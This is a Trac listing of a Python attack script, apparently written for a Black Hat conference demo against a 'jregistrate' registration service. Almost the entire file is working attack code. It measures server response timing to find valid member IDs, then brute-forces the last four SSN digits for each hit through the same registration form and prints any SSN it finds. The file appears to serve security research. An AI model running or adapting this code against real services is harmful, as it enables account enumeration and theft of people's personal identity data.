source: test/blackhat-demo/jregistrate-attack @ 26

Last change on this file since 26 was 18, checked in by tim, 9 years ago

.

  • Property svn:executable set to *
File size: 5.9 KB
RevLine 
[15]1#!/usr/bin/env python3
2#-*- mode: Python;-*-
3
4import sys
5import os
6import time
7import random
8import tempfile
9import argparse
10import socket
11import json
12import functools
13try:
14    import requests
15except:
16    sys.stderr.write('ERROR: Could not import requests module.  Ensure it is installed.\n')
17    sys.stderr.write('       Under Debian, the package name is "python3-requests"\n.')
18    sys.exit(1)
19
20VERSION = "{DEVELOPMENT}"
21if VERSION == "{DEVELOPMENT}":
22    script_dir = '.'
23    try:
24        script_dir = os.path.dirname(os.path.realpath(__file__))
25    except:
26        try:
27            script_dir = os.path.dirname(os.path.abspath(sys.argv[0]))
28        except:
29            pass
30    sys.path.append("%s/../../trunk/lib" % script_dir)
31
32from nanownlib import *
33from nanownlib.train import *
34import nanownlib.storage
35
36
37parser = argparse.ArgumentParser(
38    description="")
39parser.add_argument('session_data', default=None,
40                    help='Database file storing session information')
41parser.add_argument('host', default=None,
42                    help='IP address or host name of server')
43parser.add_argument('port', nargs='?', type=int, default=8080,
44                    help='TCP port number of HTTP service (default: 8080)')
[18]45parser.add_argument('guess', nargs='?', type=str, default=None,
46                    help='Retry a member_id guess')
[15]47options = parser.parse_args()
48
49
50hostname = options.host
51port = options.port
52protocol = 'http'
53
54
55def extractReportedRuntime(headers, body):
56    try:
57        if 'X-Response-Time' in headers:
58            t = headers['X-Response-Time'].split('ms')[0]
59            return int(float(t)*1000000)
60    except:
61        pass
62
63    return None
64
65
66def sendRequest(data=None):
67    method = 'POST'
68    path = '/jregistrate/register'
69    url = "%s://%s:%d%s" % (protocol,hostname,port,path)
70    headers = {"Content-Type":"application/x-www-form-urlencoded"}
71    body = (b'member_id='+data.encode('utf-8')+b'&last_four=1111&username=bob&password=1234&conf_pwd=4321')
72    req = requests.Request(method, url, headers=headers, data=body).prepare()
73
74    retry = True
75    while retry:
76        try:
77            session = requests.Session()
78            response = session.send(req, verify=False)
79            reported = extractReportedRuntime(response.headers, response.text)
80            retry = False
81        except Exception as e:
82            sys.stderr.write("ERROR: HTTP request problem: %s\n" % repr(e))
83            time.sleep(1.0)
84            sys.stderr.write("ERROR: retrying...\n")
85       
86    return {'userspace_rtt':response.elapsed.microseconds*1000,
87            'reported':reported,
88            'local_port':response.raw._original_response.local_address[1]}
89
90
91def fetch(probedata, data):
92    #   http://docs.python-requests.org/en/latest/api/#requests.Response
93    result = sendRequest(data)
94    result.update(probedata)
95   
96    return result
97
98
99def findMaxSampleID(db):
100    cursor = db.conn.cursor()
101    cursor.execute("SELECT max(sample) FROM probes")
102    return cursor.fetchone()[0]
103
104
[18]105def guessSSN(member_id, last_four):
106    method = 'POST'
107    path = '/jregistrate/register'
108    url = "%s://%s:%d%s" % (protocol,hostname,port,path)
109    headers = {"Content-Type":"application/x-www-form-urlencoded"}
110    body = (b'member_id='+member_id.encode('utf-8')+b'&last_four='+last_four.encode('utf-8')+b'&username=bob&password=1234&conf_pwd=4321')
111    req = requests.Request(method, url, headers=headers, data=body).prepare()
112    session = requests.Session()
113    response = session.send(req, verify=False)
114
115    if 'Bad password' in response.text:
116        return True
117    else:
118        return False
119   
120
121def bruteSSN(member_id):
122    from nanownlib.parallel import WorkerThreads
123    wt = WorkerThreads(4, guessSSN)
124   
125    for last_four in range(9999):
126        ssn = "%4d" % last_four
127        wt.addJob(ssn, (member_id,ssn))
128
129    for i in range(9999):
130        ssn,success = wt.resultq.get()
131        if success:
132            wt.stop()
133            return ssn
134
135    wt.stop()
136    return None
137
138
[15]139setCPUAffinity()
140setTCPTimestamps()
141host_ip = socket.gethostbyname(hostname) #XXX: what about multiple A records?
142db = nanownlib.storage.db(options.session_data)
143
144cases = {"invalid":"0012-9999"}
[18]145guesses = [("0012-%04d"%id) for id in range(0,9999) if id != 2019]
[15]146random.shuffle(guesses)
[18]147num_observations = 250
[15]148trim = (0,0)
[18]149classifier = "quadsummary"
150params = {"distance": 5, "threshold": 18761.53575}
[15]151classifierTest = functools.partial(classifiers[classifier]['test'], params, True)
152
[18]153if options.guess != None:
154    guesses = [options.guess]
[15]155
156sid = findMaxSampleID(db) + 1
157for guess in guesses:
158    print("Collecting samples for:", guess)
[18]159    start = time.time()
[15]160    cases["valid"] = guess
[18]161    stype = "attack_%s_%d" % (guess, int(time.time()*1000))
[15]162    sample_order = list(cases.items())
163
164    sniffer_fp = tempfile.NamedTemporaryFile('w+t')
165    sniffer = startSniffer(host_ip, port, sniffer_fp.name)
166    time.sleep(0.5) # ensure sniffer is fully ready and our process is migrated
167
168    for obs in range(num_observations):
169        random.shuffle(sample_order)
170        now = int(time.time()*1000000000)
171       
172        results = []
173        for i in range(len(sample_order)):
174            results.append(fetch({'sample':sid, 'test_case':sample_order[i][0],
175                                  'type':stype, 'tc_order':i, 'time_of_day':now},
176                                 sample_order[i][1]))
177        db.addProbes(results)
178        db.conn.commit()
179        sid += 1
180
181    time.sleep(2.0) # Give sniffer a chance to collect remaining packets
182    stopSniffer(sniffer)
183    associatePackets(sniffer_fp, db)
184    sniffer_fp.close()
185    num_probes = analyzeProbes(db, trim=trim)
186
187    if classifierTest(db.subseries(stype, "valid")):
[18]188        print("  Looks valid...")
189        ssn = bruteSSN(guess)
190        if ssn == None:
191            print("  Hmm, didn't find an SSN... ")
192        else:
193            print("  W00t! Found SSN: %s" % ssn)
[15]194    else:
[18]195        print("  Looks invalid")
196    print("  Runtime: ", time.time()-start)
Note: See TracBrowser for help on using the repository browser.